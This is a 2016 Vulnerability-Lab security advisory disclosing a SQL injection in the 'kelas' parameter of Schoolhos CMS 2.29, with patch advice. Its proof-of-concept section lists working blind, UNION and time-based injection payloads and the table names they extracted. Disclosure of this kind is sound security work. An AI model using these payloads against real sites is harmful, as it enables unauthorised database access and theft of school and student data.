Schoolhos CMS 2.29 – ‘kelas’ SQL Injection

  • 作者: Vulnerability-Lab
    日期: 2016-11-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40719/
  • Document Title:
    ===============
    Schoolhos CMS v2.29 - (kelas) Data Siswa SQL Injection Vulnerability
    
    
    References (Source):
    ====================
    http://www.vulnerability-lab.com/get_content.php?id=1931
    
    
    Release Date:
    =============
    2016-11-07
    
    
    Vulnerability Laboratory ID (VL-ID):
    ====================================
    1931
    
    
    Common Vulnerability Scoring System:
    ====================================
    6.7
    
    
    Product & Service Introduction:
    ===============================
    Schoolhos CMS is alternative to developing School Website. It's Free and Open Source under GPL License. Easy to install, user friendly and elegant design.
    
    (Copy of the Vendor Homepage: http://www.schoolhos.com/&https://sourceforge.net/projects/schoolhoscms/ )
    
    
    Abstract Advisory Information:
    ==============================
    The vulnerability laboratory core research team discovered a remote sql-injection vulnerability in the official Schoolhos v2_29 content management system.
    
    
    Vulnerability Disclosure Timeline:
    ==================================
    2016-11-07: Public Disclosure (Vulnerability Laboratory)
    
    
    Discovery Status:
    =================
    Published
    
    
    Exploitation Technique:
    =======================
    Remote
    
    
    Severity Level:
    ===============
    High
    
    
    Technical Details & Description:
    ================================
    A remote sql injection web vulnerability has been discoveredin the official Schoolhos v2_29 content management system.
    The web vulnerability allows remote attackers to execute own malicious sql commands to compromise the application or dbms. 
    
    The sql injection vulnerability is located in the `kelas` parameter of the `index?p=siswakelas module POST method request. 
    Remote attackers are able to execute own sql commands by usage of an insecure post method request through the vulnerable 
    parameter of the own application. The attack vector of the vulnerability is application-side and the request method to 
    inject is POST. The security vulnerability in the content management system is a classic select remote sql-injection.
    
    The security risk of the vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.7.
    Exploitation of the remote sql injection vulnerability requires no user interaction or privileged web-application user account.
    Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.
    
    Request Method(s): 
    [+] POST
     
    Vulnerable Module(s):
    [+] ./SCRIPTPATH/index.php?p=siswakelas
    
    Vulnerable Parameter(s):
    [+] kelas 
    
    
    Proof of Concept (PoC):
    =======================
    The remote sql-injection web vulnerability can be exploited by remote attackers without privileged web-application user account and without user interaction.
    For security demonstration or to reproduce the sql-injection web vulnerability follow the provided information and steps below to continue.
    
    
    -- PoC Session Logs ---
    [+] Place: POST > Parameter: kelas
    
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: kelas=1' AND 4945=4945 AND 'SfWY'='SfWY
    
    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: kelas=-2062' UNION ALL SELECT NULL,CONCAT(0x71736b6271,0x43746d4846536767524d,0x716b6d6171),NULL#
    
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: kelas=1' AND SLEEP(5) AND 'Wqrd'='Wqrd
    ---
    [21 tables]
    +-----------------+
    | sh_agenda |
    | sh_album|
    | sh_berita |
    | sh_buku_tamu|
    | sh_galeri |
    | sh_guru_staff |
    | sh_info_sekolah |
    | sh_jabatan|
    | sh_kategori |
    | sh_kelas|
    | sh_komentar |
    | sh_mapel|
    | sh_materi |
    | sh_pengaturan |
    | sh_pengumuman |
    | sh_psb|
    | sh_sidebar|
    | sh_siswa|
    | sh_statistik|
    | sh_tema |
    | sh_users|
    +-----------------+
    
    
    Solution - Fix & Patch:
    =======================
    The sql-injection vulnerability in the `kelas` parameter of the `index.php` file POST method request can be patched by usage of a secure 
    prepared statement. Parse the parameter and encode the values to a secure format to prevent further 
    sql-injection attacks. Escape the parameter and disallow usage of special chars.
    
    
    Security Risk:
    ==============
    The security risk of the remote sql-injection web vulnerability in the schoolhos content management system is estimated as high. (CVSS 6.7)
    
    
    Credits & Authors:
    ==================
    Vulnerability Laboratory [Research Team] - Lawrence Amer (www.vulnerability-lab.com/show.php?user=Lawrence Amer)
    
    
    Disclaimer & Information:
    =========================
    The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
    or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
    in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
    or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for 
    consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, 
    deface websites, hack into databases or trade with stolen data.
    
    Domains:www.vulnerability-lab.com 		- www.vuln-lab.com 						- www.evolution-sec.com
    Section:magazine.vulnerability-lab.com 	- vulnerability-lab.com/contact.php 				- evolution-sec.com/contact
    Social:	twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab
    Feeds:	vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
    Programs: vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php
    
    Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. 
    Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
    Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark 
    of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get a ask permission.
    
    				Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™
    
    
    
    -- 
    VULNERABILITY LABORATORY - RESEARCH TEAM
    SERVICE: www.vulnerability-lab.com